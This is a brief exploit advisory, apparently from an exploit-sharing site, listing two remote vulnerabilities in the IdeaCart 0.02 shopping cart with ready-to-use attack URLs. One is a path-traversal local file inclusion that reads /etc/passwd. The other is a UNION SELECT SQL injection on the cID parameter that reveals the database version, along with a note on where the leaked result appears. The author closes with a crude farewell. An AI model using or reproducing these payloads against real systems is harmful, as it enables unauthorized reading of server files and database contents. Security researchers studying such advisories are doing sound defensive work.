IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

=======================================================
IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities
=======================================================


#IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities


#Author: nuclear


#LFI:
http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00


#SQL:
http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23


#notes:
get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ bla bla bla


#comment:
I'm finally done with this shit..number 13 and there will be no more
I'm outta here.. bye ya'll 



#  0day.today [2018-01-01]  #